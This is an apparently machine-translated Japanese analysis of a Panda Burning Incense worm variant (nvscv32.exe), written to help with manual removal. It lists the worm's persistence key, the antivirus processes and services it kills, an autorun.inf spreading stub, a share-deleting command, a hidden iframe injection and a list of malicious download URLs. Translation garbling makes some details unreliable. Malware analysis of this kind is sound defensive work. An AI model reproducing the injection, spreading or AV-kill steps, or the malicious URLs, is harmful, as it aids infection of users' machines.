パンダ燃焼香ウイルスnvscv32.exeの亜種手動での削除プログラム（4）

5つ、テクニカル分析

1：ウイルスファイルが実行された後、自分自身を％SystemRoot％\\ system32 \\ drivers \\ nvscv32.exeにコピーしますBr>

レジストリの自動起動アイテムを作成します。

[HKEY_CURRENT_USER \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\]

nvscv32： "C：\\ Windows \\ system32 \\ drivers \\ Nvscv32.exe "

2：アンチウイルスフォームウイルスの終了に関連するプロセスを検索します。

• Skynet Firewall
  
• virusscan
  
• symantec antivirus < Br>
• システム安全モニタ
  
• システム修理エンジニア
  
• ラップギフトキラー
  
• ゲームTrojan Tester
  
• スーパーパトロール
  
  

  3：以下のプロセスを終了します。
  

  • mcshIEld.exe
    
  • vstskmgr.exe
    
  • naprdmgr.exe
    
  • updaterui.exe
    
  • tbmon.exe
    
  • scan32.exe
    
  • ravmond.exe
    
  • ccenter.exe
    
  • ravtask.exe
    
  • rav。エグゼ
    
  • Ravmon.exe
    
  • ravmond.exe
    
  • ravstub.exe
    
  • kvxp.kxp
    
  • kvmonxp.kxp
    
  • kvcenter.kxp
    
  • kvsrvxp.exe
    
  • kregex.exe
    
  • uihost.exe
    
  • trojdIE.kxp
    
  • frogagent.exe
    
  • kvxp .kxp
    
  • kvmonxp.kxp
    
  • kvcenter.kxp
    
  • kvsrvxp.exe
    
  • kregex.exe
    
  • uihost.exe
    
  • trojdIE.kxp
    
  • frogagent.exe
    
  • logo1_.exe
    
  • logo_1.exe
    
  • rundl132.exe
    
  • taskmgr。 Exe
    
  • msconfig.exe
    
  • regedit.exe
    
  • sreng.exe
    
    

    4：以下のサービスを無効にする。

    • スケジュール
      
    • sharedAccess
      
    • rsccenter
      
    • rsravmon
      
    • rsccenter
      
    • kvwsc
      
    • kvsrvxp
      
    • Kvwsc
      
    • kvsrvxp
      
    • kavsvc
      
    • avp
      
    • kavsvc
      
    • mcafeeframework
      
    • mcshIEld < Br>
    • mctaskmanager
      
    • mcafeeframework
      
    • mcshIEld
      
    • mctaskmanager
      
    • navapsvc
      
    • wscsvc
      
    • kpfwsvc
      
    • sndsrvc
      
    • ccproxy
      
    • ccevtmgr
      
    • ccsetmgr
      
    • spbbcsvc
      
    • symantec core lc
      
    • npfmntor < Br>
    • mskservice
      
    • firesvc
      
      

      5：次のレジストリキーを削除します。
      

      • software \\ microsoft \\ Windows \\ currentversion \\ run \\ ravtask
        
      • ソフトウェア\\ microsoft \\ Windows \\ currentversion \\ run \\ kvmonxp
        
      • ソフトウェア\\ microsoft \\ Windows \\ currentversion \\ run \\ kav
        
      • ソフトウェア\\ microsoft \\ Windows \\ currentversion \\ run \\ Kavpersonal50
        
      • ソフトウェア\\ microsoft \\ Windows \\ currentversion \\ run \\ mcafeeupdaterui
        
      • ソフトウェア\\ microsoft \\ Windows \\ currentversion \\ run \\ networkエラー報告サービスを関連付ける
        
      • software \\ microsoft \\ Windows \\ currentversion \\ run \\ shstatexe
        
      • ソフトウェア\\ microsoft \\ Windows \\ currentversion \\ run \\ Yliive.exe
        
      • software \\ microsoft \\ Windows \\ currentversion \\ run \\ yassistse
        
        

        6：すべての実行可能ファイルに感染させ、アイコンをに変更します（今回はパンダ焼き香のアイコンではありません）。
        

        7：以下のディレクトリをスキップします。
        

        • Windows
          
        • winnt
          
        • システムボリューム情報
          
        • リサイクル
          < LI> Windowsnt
          
        • Windowsアップデート
          
        • Windowsmediaplayer
          
        • outlookexpress
          
        • netmeeting
          
        • commonfiles
          
        • complusapplications
          
        • commonfiles
          
        • メッセンジャー
          
        • installshIEインストール情報
          
        • msn
          
        • microsoftFrontPage
          
        • movIEmaker
          
        • msngaminzone
          
          

          8：* .ghoバックアップファイルを削除します。
          

          9：ドライブのすべてのルートディレクトリにsetup.exeというファイルのコピーを作成し、ウイルスが自動的に実行されるようにautorun.infファイルを作成して、ファイル属性を隠しファイル、読み取り専用ファイル、およびシステムに設定します。
          

          autorun.infの内容：
          [AutoRun]
          OPEN = setup.exe
          shellexecute = setup.exe
          shell \\ Auto \\ command = setup.exe
          

          10：共有を削除します。cmd.exe /c net共有admin $ /del /y
          

          11：マシン上のすべてのスクリプトファイルに< iframe src = http：//www.krvkr.com/を追加します。 Worm.htm width = "0" height = "0">< /iframe>このシステムでは、ユーザーがウイルスでサーバー上のWebページを閲覧すると、MS-06014の脆弱性を悪用するWebページトロイの木馬です。パッチを適用しない場合は、このウイルスをダウンロードして実行します。
          

          12：LANマシンをスキャンし、脆弱性が見つかるとすぐに広がります。
          

          13：バックグラウンドでhttp：//wwwにアクセスしてください。 Whboy Net /update /wormcn Txt、ダウンロードリストに従って他のウイルスをダウンロードしてください。
          

          現在のダウンロードリストは次のとおりです。（以下のリンクはすべて危険な内容です。クリックしないでください。）
          

          • http://www.krvkr.com/down/cq.exe
            
          • http://www.krvkr.com/down/mh.exe
            
          • http://www.krvkr.com/down/my.exe
            
          • http：//Www.krvkr.com/down/wl.exe
            
          • http://www.krvkr.com/down/rx.exe
            
          • http://www.krvkr.com/down/Wow.exe
            
          • http://www.krvkr.com/down/zt.exe
            
          • http://www.krvkr.com/down/wm.exe
            
          • http://www.krvkr.com/down/dj.exe
            
          • http://www.krvkr.com/cn/IEchajian.exe
            
            

            このウイルスの動作に対して分析は完了しました。